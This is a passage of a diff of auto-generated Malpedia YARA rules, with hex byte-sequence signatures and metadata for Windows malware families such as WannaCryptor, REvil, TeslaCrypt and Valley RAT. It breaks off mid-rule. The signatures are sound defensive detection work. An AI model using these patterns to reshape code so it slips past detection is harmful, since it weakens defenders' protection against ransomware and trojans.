8b840c5c030000 01440c14 } + $sequence_9 = { d1ea 83e101 f7d9 81e12083b8ed 33ca 8bd1 d1e9 } condition: - 7 of them and filesize < 645120 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Rtm_Locker_Auto : FILE +rule MALPEDIA_Win_Mangzamel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c193efe6-e068-5098-a7d3-9f677c141047" + id = "eb9c7043-77a1-5f0e-9ec6-79bacd6f6a15" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rtm_locker_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mangzamel_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "2e6ca0dcb3b2e786645310d69deee5d15ea048d4739b56fdd6e98df960bfefa8" + logic_hash = "1febff50405236297e35d0651b3a25a3fa9330c560b764c64ec02cac2724b444" score = 75 quality = 75 tags = "FILE" @@ -124392,34 +124274,34 @@ rule MALPEDIA_Win_Rtm_Locker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ffd7 8b44241c 8d542410 52 8d542424 c744241400000000 } - $sequence_1 = { 8bbd38ffffff 33d0 c1c210 03ca 33f1 c1c60c } - $sequence_2 = { 0f29a424b0000000 660fd4c1 0f28e2 0f29b42410010000 660f62e0 660f6ad0 } - $sequence_3 = { 8d85e8feffff 50 6a00 ff15???????? 85c0 7440 68???????? } - $sequence_4 = { 8d8550fcffff 50 8d95c8feffff 8d8d68ffffff e8???????? 83c404 8d8d68ffffff } - $sequence_5 = { 0f1195ecfdffff 0f119dfcfdffff 0f11a50cfeffff 0f11851cfeffff 660f1f440000 8b840d2cfeffff 01840d64fcffff } - $sequence_6 = { 57 660f1f440000 3a1a 7403 42 } - $sequence_7 = { 0f108560feffff 0f118570fdffff 0f108570feffff 0f118580fdffff e8???????? 8d8d30feffff e8???????? } - $sequence_8 = { 894590 33fe c1c708 8d040f 8945ec 33c2 } - $sequence_9 = { 8b4dec 48 897dfc 897db8 894508 85c0 0f8f3ffeffff } + $sequence_0 = { 8bce e8???????? 8b45dc 33ff 85c0 } + $sequence_1 = { e8???????? 8d8564ffffff c745e40d011133 50 e8???????? 83c428 40 } + $sequence_2 = { 57 8d4dec c645fc02 e8???????? 85c0 0f8e95000000 57 } + $sequence_3 = { 7412 ff7508 8d4e08 50 e8???????? 8b450c 894624 } + $sequence_4 = { 6aff 57 68???????? 8d4de4 e8???????? 8bce e8???????? } + $sequence_5 = { e8???????? 8d45ec 68???????? 50 e8???????? 83c41c 8d45ec } + $sequence_6 = { e8???????? 57 e8???????? 59 55 8d4b20 } + $sequence_7 = { 8bc8 c1e910 c1e818 880a 33ff 897514 8b4d14 } + $sequence_8 = { 8b06 8365fc00 8bce b301 ff5010 3d04000102 } + $sequence_9 = { eb34 68???????? 57 ffd6 59 85c0 59 } condition: - 7 of them and filesize < 598016 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Valley_Rat_Auto : FILE +rule MALPEDIA_Win_Sepulcher_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e31e391b-1d98-571d-b2e1-793b94f7ca99" + id = "802dcce7-e6b4-5d4a-a31c-1fbaf1e1892c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.valley_rat_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sepulcher_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "4fd91bc63ffea1277d480fd520807726f4547d3a7eff2043dfcadcbba2a797a7" - score = 60 - quality = 45 + logic_hash = "5e68d8ea35ea7e66861512d33b8203bcd0ab7d3eb1395ac8fae23afff0a1b2a5" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -124431,38 +124313,32 @@ rule MALPEDIA_Win_Valley_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 005c7e46 00847e46008a46 0323 d188470383ee } - $sequence_1 = { c785dcfbffff9b9bcc64 c785e0fbffffee6364c8 c785e4fbffff97f1dbf3 c785e8fbffff9bab9b9b c785ecfbffff25539b9b c785f0fbffff9bcdcc64 } - $sequence_2 = { 897e48 897e40 897e44 89464c 8d442408 } - $sequence_3 = { 0101 0505050505 0505050505 0505050505 0505050505 0505050505 } - $sequence_4 = { 51 8d93440a0000 52 e8???????? 83c40c } - $sequence_5 = { 0101 0101 0201 0102 } - $sequence_6 = { 0101 0101 0101 0101 0101 0505050505 } - $sequence_7 = { 0001 0101 0102 0101 } - $sequence_8 = { c78530feffff73cacd64 c78534feffffce97707a c78538fefffffefffee9 c7853cfefffff7f4f8f0 c78540feffff9b9b9b9b c78544feffff9b9b9b9b c78548feffff9b9b9b9b } - $sequence_9 = { 0101 33c0 5e 5b } - $sequence_10 = { 8b15???????? 6800300000 52 50 ff15???????? 8b0d???????? 51 } - $sequence_11 = { c785c0f6ffff8173599d c785c4f6ffff9b9bcbf3 c785c8f6ffffe384bbe4 c785ccf6ffff12dfbfab } - $sequence_12 = { e8???????? 8b0d???????? 83c418 890d???????? 891d???????? } - $sequence_13 = { 00bcaf4500c5af 45 00f8 af } - $sequence_14 = { c785e8f7ffffdf10dfbf c785ecf7ffffe7f1dbcd c785f0f7ffff64ebb7c8 c785f4f7ffff64cfbfa3 c785f8f7ffff10d7bfe7 c785fcf7ffff121fbf13 c78500f8ffff9b9b9b64 } - $sequence_15 = { 0101 33c0 8be5 5d } + $sequence_0 = { 6828080000 33ff 8d85ccf7ffff 57 50 } + $sequence_1 = { 0fb77124 8b11 668b450c 668944b202 } + $sequence_2 = { 56 53 e8???????? 85c0 743d 6a00 } + $sequence_3 = { e8???????? 894608 8b857cffffff 6a3c 894620 8d459c 6a00 } + $sequence_4 = { 668984247e6e0000 0f1184241c6e0000 c784242c6e000006000000 c78424306e000009000000 } + $sequence_5 = { 668975dc 668975e2 668975e4 66c745ac756d c645ae62 8855af } + $sequence_6 = { 88043e 46 3c3e 752f 83fe05 7235 } + $sequence_7 = { 6a00 8d4df8 51 6a01 8d4dff 51 50 } + $sequence_8 = { 8b048550de0110 f644082801 7406 8b440818 5d c3 e8???????? } + $sequence_9 = { e8???????? 59 8d8c24a0250000 e8???????? 68f2030000 } condition: - 7 of them and filesize < 2256896 + 7 of them and filesize < 279552 } -rule MALPEDIA_Win_Jessiecontea_Auto : FILE +rule MALPEDIA_Win_Unidentified_121_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ed5d981c-49e8-5f40-808b-1f7fc2ae5113" + id = "a6510632-1b9e-5c84-ab89-5f72cc6f435a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jessiecontea_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_121" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_121_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "f376a26e7b2528bac10debe17ecc06d45573d24dcd0617a6c31e158d3d59f89a" + logic_hash = "2f8db882acb1a5c7d66a4cbcd4a58ef4e003ccebde890da1f9103b205ffea6c7" score = 75 quality = 75 tags = "FILE" @@ -124476,38 +124352,38 @@ rule MALPEDIA_Win_Jessiecontea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85a8f9ffff 50 8d85f8fbffff 50 ff15???????? } - $sequence_1 = { 8b7d18 8945c0 8b4510 8945c4 8b451c } - $sequence_2 = { 660fdbe3 660fdfc8 660febe1 3bd6 0f826effffff 660ffee5 0f28c4 } - $sequence_3 = { e8???????? 83c418 c7857cf0ffffffffff7f c78580f0ffffffffff7f b8ea650000 c7858cf0ffff00000000 } - $sequence_4 = { 50 51 8d8df8f7ffff e8???????? 8d85f8f7ffff 6a5c 50 } - $sequence_5 = { 745b 8b35???????? 57 ffd6 3d04010000 7d4b } - $sequence_6 = { 83c404 85f6 7425 8bbd7cf4ffff 68???????? } - $sequence_7 = { 7f0a 8bb5f0b7ffff 3bfe 7293 } - $sequence_8 = { 452be5 488d152b6bfeff 4489642440 0f8574fcffff } - $sequence_9 = { 6603c1 0fb70d???????? 0fb7c0 33c8 66898dde000000 } - $sequence_10 = { 83c008 668945d8 0fb705???????? 83c008 668945da } - $sequence_11 = { 6683c00c 0fb7c8 8b05???????? 33c1 6689459c 8b4580 } - $sequence_12 = { 4889542440 488bfa be01000000 ff15???????? } - $sequence_13 = { 4889442430 488d4e10 4889442428 4c8bcb } - $sequence_14 = { 4533c9 4889742420 4c8d85d0040000 488bcf 488d95e0050000 } - $sequence_15 = { 817c2440949dd460 7489 33c0 4c8ba424880b0000 488b9c24800b0000 } + $sequence_0 = { 8b55fc 8b421c 2540040000 750c } + $sequence_1 = { 8b55fc 8b4218 8945f0 8b4d08 83792800 7405 } + $sequence_2 = { 8b55fc 8b421c 50 68???????? 8b4d08 } + $sequence_3 = { ff15???????? 4c8d4c2438 488b0d???????? 41b804000000 488d1584810100 89c3 e8???????? } + $sequence_4 = { 0f8499000000 41b806000000 ba01000000 b902000000 ffd5 488b5320 } + $sequence_5 = { 8b55fc 8b421c 2580000000 740c } + $sequence_6 = { 4889d9 48c744245800000000 48c744246000000000 e8???????? 4889d9 ff15???????? } + $sequence_7 = { 8944244c 0f85a1000000 83430801 4d89e1 4989e8 } + $sequence_8 = { 3c54 0f857e000000 e8???????? 4d85ed ba01000000 752f } + $sequence_9 = { 8b55fc 8b4218 99 8bc8 } + $sequence_10 = { 85db 0f8589000000 488b5028 4883ea01 4883fafd 777b 4885ed } + $sequence_11 = { 7511 8b7004 85f6 7539 488907 48c70300000000 } + $sequence_12 = { e8???????? 41f6c404 488b8600010000 4889ae28010000 0f84b7000000 488d5001 483dff000000 } + $sequence_13 = { 8b55fc 8b421c 2580020000 8b4df8 } + $sequence_14 = { 8b55fc 8b421c 0d80020000 8b4dfc } + $sequence_15 = { 8b55fc 8b421c 0d00080000 8b4dfc 89411c e9???????? } condition: - 7 of them and filesize < 413696 + 7 of them and filesize < 2419712 } -rule MALPEDIA_Win_Wannacryptor_Auto : FILE +rule MALPEDIA_Win_Revil_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "01aa6919-6be4-5745-a8e3-92d4cccf9097" + id = "6d9b3831-9422-59dd-891e-cc56c498429e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wannacryptor_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revil_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "7ff7fdcfef87dab5f03024d09ebe3e1d6a9751642113edcd42b1cf950ced5962" + logic_hash = "5ffcb29efd36b8555dc7beef77a59c8169ca5a939654167ee68e6e55a4f62dd3" score = 75 quality = 75 tags = "FILE" @@ -124521,32 +124397,32 @@ rule MALPEDIA_Win_Wannacryptor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 85c0 7403 8b4004 50 8b442428 } - $sequence_1 = { c744243802000000 e8???????? 55 8d4c2420 b303 50 51 } - $sequence_2 = { 8d7e44 85c0 755f 8b17 8d4c241c 6a01 51 } - $sequence_3 = { 7d0d 8b5168 8b7960 03d7 } - $sequence_4 = { c644243404 e8???????? 8d4c241c 885c2430 } - $sequence_5 = { 8d542418 c744243005000000 8b41f8 8b4e74 2bc1 } - $sequence_6 = { 8a02 8bcf 88442418 e8???????? 8b542410 c744243000000000 } - $sequence_7 = { c7442430ffffffff e8???????? e9???????? 85c0 754b } - $sequence_8 = { 88442418 e8???????? 8b542410 c744243000000000 52 50 8d442420 } - $sequence_9 = { 89442418 0f8c42ffffff 8b442438 5f 85c0 } + $sequence_0 = { 33f6 6a00 6841db0100 ffb4356cffffff ffb43568ffffff } + $sequence_1 = { 50 8d8538feffff 50 ff7508 e8???????? ff7508 e8???????? } + $sequence_2 = { 8b80c0000000 8b5d08 8945ec 8b4508 } + $sequence_3 = { 0cc0 80c980 880437 884c3701 } + $sequence_4 = { 8365d000 807d0f2d 8b75f0 8975f4 7408 83ca02 } + $sequence_5 = { 4b 8955f8 e9???????? 837db400 } + $sequence_6 = { 8bc2 33437c 33cf 3345fc 894b78 8bcb } + $sequence_7 = { 3345e4 89417c 8bce f7d1 8bc2 234ddc } + $sequence_8 = { 81ecf0040000 53 56 57 bf90000000 } + $sequence_9 = { 57 33db 89b53cffffff 8d8540ffffff 43 } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 155794432 } -rule MALPEDIA_Win_Sysjoker_Auto : FILE +rule MALPEDIA_Win_Graftor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b72fee4-7a5b-522c-b325-1510979cb981" + id = "138ca116-cc68-528f-bf0e-7fb64c51da51" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysjoker_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graftor_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "a2a2517e767f1ff0b106f5e891c93f19537f3a0c72ffc8109655f6e04ec30bb0" + logic_hash = "a96a22ad70eb991290928c1f214241d1fdeb4091277b5b5fb893f50f8f3393f5" score = 75 quality = 75 tags = "FILE" @@ -124560,34 +124436,34 @@ rule MALPEDIA_Win_Sysjoker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4f24 3b4f18 0f83ad060000 8b4714 46 891488 e9???????? } - $sequence_1 = { c745d40f000000 c645c000 c78564ffffff90a34400 e8???????? 8d8558ffffff c78554ffffff90a34400 50 } - $sequence_2 = { c78500fdffff00000000 33f6 8b3d???????? 89bde0fcffff 0f1f8000000000 } - $sequence_3 = { 0f837a100000 8b8fd8000000 85c9 742f 83bfdc00000008 8d87c8000000 } - $sequence_4 = { 0f84aafeffff 8b8d6cffffff 2bca 8bc2 83e1fc 81f900100000 } - $sequence_5 = { e8???????? 8b45ec 80780d00 74ae 3975dc 0f845e010000 } - $sequence_6 = { 8901 51 8bcc c645fc2a 68???????? e8???????? 8d4dc8 } - $sequence_7 = { 0f8714010000 52 51 e8???????? 83c408 c645fc01 8b8d48feffff } - $sequence_8 = { 52 8b01 ff5004 51 8bf4 89a5f4fcffff } - $sequence_9 = { 8906 c645fc12 e8???????? 83c408 e8???????? 8bc8 85c9 } + $sequence_0 = { 393d???????? 7523 8d85fcbfffff 50 57 57 6a29 } + $sequence_1 = { 57 e8???????? 85c0 743f 8365fc00 8d45fc 50 } + $sequence_2 = { c3 53 8b5e14 57 8bf8 3bdf 771d } + $sequence_3 = { 5e 5d c20400 6a50 b8b69f4c00 e8???????? 8b7d10 } + $sequence_4 = { e8???????? 6800aa4d00 8db5ecbeffff c645fc04 e8???????? 8b8d58bfffff 33ff } + $sequence_5 = { e8???????? 845df0 740b 6a00 53 8d4db8 e8???????? } + $sequence_6 = { 741c 50 ff15???????? 85c0 7511 8b4604 3d58b74e00 } + $sequence_7 = { c68424a8030000fc 8d84244c020000 8bf4 89a424c4000000 50 e8???????? c68424a8030000fa } + $sequence_8 = { e8???????? 83c418 84c0 747f 66d16dc8 0fb745c8 } + $sequence_9 = { 897dac e8???????? 660fbe00 6a05 8d53bf 59 } condition: - 7 of them and filesize < 832512 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Strongpity_Auto : FILE +rule MALPEDIA_Win_Donot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14bad2bc-8b1c-5604-a8c5-9e952bb2db14" + id = "30399a34-f31f-510d-a9cd-b28c8f061e17" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strongpity_auto.yar#L1-L178" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.donot_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "489b26cd26695d5bf1487fe83576061d12be04bfa204a50dba999c14e24baf44" - score = 60 - quality = 45 + logic_hash = "b17b58b9afa5bf822376cb1f7c125d224a4976e4d102fc9c5fd48e6d7a73b698" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -124599,38 +124475,32 @@ rule MALPEDIA_Win_Strongpity_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 74b8 6a14 59 } - $sequence_1 = { 6a1f 56 ff15???????? 33c0 50 ff7710 } - $sequence_2 = { 8b45ec 6a02 5a 663938 750d 49 03c2 } - $sequence_3 = { 740d 817df4c8000000 7504 8bc6 } - $sequence_4 = { 85ff 7507 33c0 e9???????? b90a020000 33d2 8810 } - $sequence_5 = { 83e901 75f8 8bcb 897dd0 c745d404010000 } - $sequence_6 = { 7433 53 56 ff15???????? 85c0 7427 53 } - $sequence_7 = { 8819 41 83e801 75f8 ff75d0 68???????? } - $sequence_8 = { 5e 5d 8d432f 5b 8b4c2418 } - $sequence_9 = { 5e 5d 8bc3 5b 83c410 c3 8b464c } - $sequence_10 = { 5e 5d b803000000 5b 59 c3 8b06 } - $sequence_11 = { 5e 5d 8d431b 5b 8b8c24a8090000 } - $sequence_12 = { 5e 5d 8919 33c0 5b 59 } - $sequence_13 = { 5e 5d 8bc3 c7826c02000001000000 5b 83c410 } - $sequence_14 = { 5e 5d b809000000 5b 83c408 c3 8b4640 } - $sequence_15 = { 7410 5f c7866c02000001000000 5e 83c410 c3 } + $sequence_0 = { c745fc00000000 8d8d98fdffff 6a00 c78598fdffff00000000 68???????? c785a8fdffff00000000 c785acfdffff0f000000 } + $sequence_1 = { 83e63f c1ff06 6bf638 8b04bd187b0410 807c302800 7d3c e8???????? } + $sequence_2 = { c785c0fdffff00000000 c785c4fdffff07000000 668985b0fdffff 83fa10 } + $sequence_3 = { 8d4904 8a80101c0410 8841fc 83ea01 75ec 47 83eb01 } + $sequence_4 = { c78584edffff00000000 c78588edffff0f000000 c68574edffff00 e8???????? 8d8de8edffff c645fc0f 8d5101 } + $sequence_5 = { 8d048502000000 0bc1 8bce 50 e8???????? 32c0 e9???????? } + $sequence_6 = { c645fc1a 50 e8???????? c645fc1b b8ffffff7f 8b55c8 2bc2 } + $sequence_7 = { 83ec18 c645fc06 8d85c8fdffff 8bcc 50 e8???????? 8d8580fdffff } + $sequence_8 = { 8d8598fdffff 0f438598fdffff 03f0 56 e8???????? 8b8590fdffff } + $sequence_9 = { 7269 81fbffffff3f 7349 8d041b 3dffffff7f 0f8741010000 } condition: - 7 of them and filesize < 999424 + 7 of them and filesize < 626688 } -rule MALPEDIA_Win_Krdownloader_Auto : FILE +rule MALPEDIA_Win_Httpsuploader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8928305b-67d0-5595-b543-162ed3d8a500" + id = "96408757-8238-57f6-8412-86b6523d9a84" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.krdownloader_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpsuploader_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "b190fd97a74e2ef74cfd54dab7101c2dd88a9538032e0c3b3bee219ca7927a46" + logic_hash = "6d3671102275ad7b87147a31f1d30011248bd9c06ff651580514d36fdd35a180" score = 75 quality = 75 tags = "FILE" @@ -124644,32 +124514,32 @@ rule MALPEDIA_Win_Krdownloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb26 8b4dfc 034df4 0fb6512c 52 68???????? 8b45f0 } - $sequence_1 = { 83ec34 894df8 c745fc00000000 8b450c } - $sequence_2 = { c745ec00000000 c745f400000000 c745d810000000 c745e000000000 c745d000000000 c745f800000000 c745e800000000 } - $sequence_3 = { 83c40c 8b45f8 50 ff15???????? eb26 } - $sequence_4 = { c745fc00000000 6a00 6822020000 ff15???????? } - $sequence_5 = { 6a00 6840004004 8d45f4 50 68???????? 68???????? } - $sequence_6 = { 83c40c c745f400000000 8d85f4f7ffff 50 8b4dfc 81c1640d0300 } - $sequence_7 = { ffd1 8b55fc 83ba540d030000 7415 8b45fc 8b88540d0300 51 } - $sequence_8 = { c740040f000000 8b4dfc 51 8b55f8 52 8d85e4ebffff } - $sequence_9 = { 50 8d85f0fbffff 50 8b4df8 51 e8???????? } + $sequence_0 = { 41b8fe010000 6689bdf0020000 e8???????? 488d8df2040000 } + $sequence_1 = { 33c0 488d4c2422 33d2 41b8fe010000 } + $sequence_2 = { 458d4103 ba00000080 c744242880000000 4c89ac2498040000 } + $sequence_3 = { 03df 3bde 72ad 488b5c2448 488b7c2420 b801000000 4883c428 } + $sequence_4 = { ffca 750d 4d85c0 7408 498bc8 e8???????? } + $sequence_5 = { 40387598 e9???????? 48895c2408 4889742410 48897c2418 } + $sequence_6 = { 48897c2420 895c2440 895c2450 85d2 745e 6666660f1f840000000000 } + $sequence_7 = { e8???????? eb40 4c8d2569be0000 488b0d???????? e9???????? 4c8d2566be0000 } + $sequence_8 = { e8???????? 488d8de2000000 33d2 41b806020000 6689bde0000000 } + $sequence_9 = { 7528 48833d????????00 741e 488d0db1f40000 } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 190464 } -rule MALPEDIA_Win_Mokes_Auto : FILE +rule MALPEDIA_Win_Hazy_Load_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b39bf037-fa7d-5a3c-86ca-2ed67b32fce6" + id = "24c66e7b-2677-5514-927b-1f5ec58947dd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mokes_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hazy_load" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hazy_load_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "b9e014e60ad1f3bca1bf46f5b4621f6e946c48cba595440a4767fbc6ec5a2bfa" + logic_hash = "689a5f8205a52a844de3b9ea93f7ac4cdf01c931efdc00759c5c614c1c72cb27" score = 75 quality = 75 tags = "FILE" @@ -124683,32 +124553,32 @@ rule MALPEDIA_Win_Mokes_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f30f7f442438 8b442438 3b442428 751e 8b442440 3b442430 7514 } - $sequence_1 = { f20f5cd0 f20f58d1 f20f2cca 03c8 8d442430 894c2430 8b4c240c } - $sequence_2 = { ffb6c8010000 e8???????? 8b8e0c010000 8b4104 397808 7417 3b7808 } - $sequence_3 = { f6450801 56 8bf1 57 8b7e04 7423 8b0d???????? } - $sequence_4 = { ff742420 ba04000000 53 8d4a28 e8???????? 8b6c2420 8bf0 } - $sequence_5 = { ff5030 8b4004 f780e000000000000200 7404 c6432b01 807c241b00 8b5c2454 } - $sequence_6 = { ffd0 83c410 8b74240c 8b542418 8bca 8b7c241c 81c11ff9ef9e } - $sequence_7 = { f77e6c 89542420 8b450c 8b7004 807e7000 7407 8bce } - $sequence_8 = { ff74240c 889018020000 8b8e5c010000 e8???????? 80be9a02000000 7517 ff7604 } - $sequence_9 = { f6c310 7410 83e3ef 8d4c242c 895c2414 e8???????? c7442458ffffffff } + $sequence_0 = { 488d542420 442bc7 4803d0 4533c9 } + $sequence_1 = { 33d2 488bc8 4c8bf8 e8???????? 4c8bc6 41893f 498d4f08 } + $sequence_2 = { 488d35c3aa0100 eb16 488b3b 4885ff } + $sequence_3 = { 418be9 48c1f806 488d0db8200100 4183e23f } + $sequence_4 = { 4883ec20 8bd9 4c8d0d09c60000 b904000000 4c8d05f5c50000 488d15aeb20000 } + $sequence_5 = { 0f848d010000 83cfff 488d2ddf120100 83635000 83632c00 e9???????? } + $sequence_6 = { 0fb64201 84c0 744d 0fbec8 83e968 } + $sequence_7 = { 83fb08 7cd5 83fb08 0f8522010000 } + $sequence_8 = { 4883ec20 488d3d93690100 48393d???????? 742b } + $sequence_9 = { ff15???????? 48832300 4883c308 488d0551d50100 } condition: - 7 of them and filesize < 18505728 + 7 of them and filesize < 315392 } -rule MALPEDIA_Win_Teslacrypt_Auto : FILE +rule MALPEDIA_Win_Hui_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9b939144-964e-5aba-aac8-37aa145cbdf7" + id = "9d52a9e1-364f-5da9-98e9-94947c68e8f2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.teslacrypt_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hui_loader_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "de3676df661439e8c55092a036c1132b34328a8e3d35af949d4b63145f8cc259" + logic_hash = "9aeecb9fd394041a8c28b780fedfdb6f106e3cf0d7d8dbc8dc34058d911e30dc" score = 75 quality = 75 tags = "FILE" @@ -124722,38 +124592,32 @@ rule MALPEDIA_Win_Teslacrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 31f7 897d04 31f9 894d08 } - $sequence_1 = { 31f7 89bdc4000000 31f9 898dc8000000 31ca 8995cc000000 89d0 } - $sequence_2 = { 31f9 894d08 31ca 89550c 89d0 } - $sequence_3 = { 33451c 89453c 51 52 89f2 c1c808 0fb6c8 } - $sequence_4 = { 31f7 89bda4000000 31f9 898da8000000 31ca 8995ac000000 89d0 } - $sequence_5 = { 3345f4 894514 3345f8 894518 3345fc 89451c 51 } - $sequence_6 = { 335d04 334d08 33550c 81ffa0000000 0f8452030000 81ffc0000000 0f84ac010000 } - $sequence_7 = { 334500 335d04 8b6c2418 894500 895d04 897508 897d0c } - $sequence_8 = { 83fa00 89442418 894c2414 89542410 7d23 8b442410 } - $sequence_9 = { 8b54244c 8916 c7460804000000 89442448 ffd1 83ec10 8b4c2448 } - $sequence_10 = { 8b442438 c70001000000 8b442428 c70002000000 } - $sequence_11 = { 894c243c 74b0 e8???????? 89e1 8901 c74104???????? e8???????? } - $sequence_12 = { 8b4c2460 ffd1 83ec08 8944240c } - $sequence_13 = { 8b4c2434 8b11 8b742438 29d6 8b7c243c } - $sequence_14 = { e8???????? 31c9 89c2 83c218 } - $sequence_15 = { 89442408 885c2407 88742406 7428 8b442408 83c001 } + $sequence_0 = { 8bc8 83e01f c1f905 56 57 8b348d60e20010 } + $sequence_1 = { 83c028 83c12c 4a 75eb b902000000 8d742454 83f901 } + $sequence_2 = { 8db604b40010 6a00 50 ff36 e8???????? } + $sequence_3 = { 75f8 42 83c628 83fa0a 7ce6 b931000000 33c0 } + $sequence_4 = { 68???????? ff15???????? 6a00 6a00 6a00 8bf0 6a04 } + $sequence_5 = { 80f95c 7408 8a48ff 48 3acb 75f3 } + $sequence_6 = { 56 ff15???????? 8bf8 85ff 7506 50 } + $sequence_7 = { 6880000000 6a03 53 6a02 6800000080 68???????? } + $sequence_8 = { ffd0 68e8030000 ffd6 8b0d???????? } + $sequence_9 = { 6a03 53 6a02 6800000080 68???????? ff15???????? } condition: - 7 of them and 